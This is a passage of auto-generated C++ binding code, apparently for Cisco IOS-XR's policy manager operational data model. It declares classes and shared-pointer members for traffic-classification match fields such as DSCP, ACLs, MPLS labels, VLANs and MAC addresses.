PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthDomain class UnauthDomainRegex; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthDomainRegex class VendorId; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VendorId class VendorIdRegex; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VendorIdRegex class AccessInterface; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AccessInterface class InputInterface; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::InputInterface class InputIntfhdl; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::InputIntfhdl class Ethertype; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ethertype class FlowKeyData; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowKeyData class DhcpClientId; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DhcpClientId class DhcpClientIdRegex; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DhcpClientIdRegex class CircuitId; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::CircuitId class CircuitIdRegex; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::CircuitIdRegex class RemoteId; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::RemoteId class RemoteIdRegex; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::RemoteIdRegex class SrcPort; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcPort class DstPort; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstPort std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Dscp> ipv4_dscp; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Dscp> ipv6_dscp; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dscp> dscp; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Prec> ipv4_prec; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Prec> ipv6_prec; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Prec> prec; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DiscardClass> discard_class; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::QosGroup> qos_group; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TrafficClass> traffic_class; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Proto> proto; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::IcmpV4> icmp_v4; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::IcmpV6> icmp_v6; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4PacketLen> ipv4_packet_len; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6PacketLen> ipv6_packet_len; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::PacketLen> packet_len; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowTag> flow_tag; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TcpFlag> tcp_flag; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv4Type> icmpv4_type; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv4Code> icmpv4_code; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv6Type> icmpv6_type; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv6Code> icmpv6_code; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsExp> mpls_exp; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsExpImp> mpls_exp_imp; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsDispIpv4Acl> mpls_disp_ipv4_acl; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsDispIpv6Acl> mpls_disp_ipv6_acl; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MplsTopLabel> mpls_top_label; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Cos> cos; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::CosInr> cos_inr; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dei> dei; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DeiInr> dei_inr; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Vlan> vlan; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VlanInr> vlan_inr; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FrDlci> fr_dlci; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcMac> src_mac; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstMac> dst_mac; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AtmClp> atm_clp; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FrDe> fr_de; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Acl> ipv4_acl; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Acl> ipv6_acl; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::EtherServiceAcl> ether_service_acl; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AvailId> avail_id; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MediaType> media_type; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SubsProtocol> subs_protocol; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dnis> dnis; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DnisRegex> dnis_regex; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Domain> domain; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DomainRegex> domain_regex; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::NasPort> nas_port; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::ServiceName> service_name; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::ServiceNameRegex> service_name_regex; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrIpv4> src_addr_ipv4; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstAddrIpv4> dst_addr_ipv4; 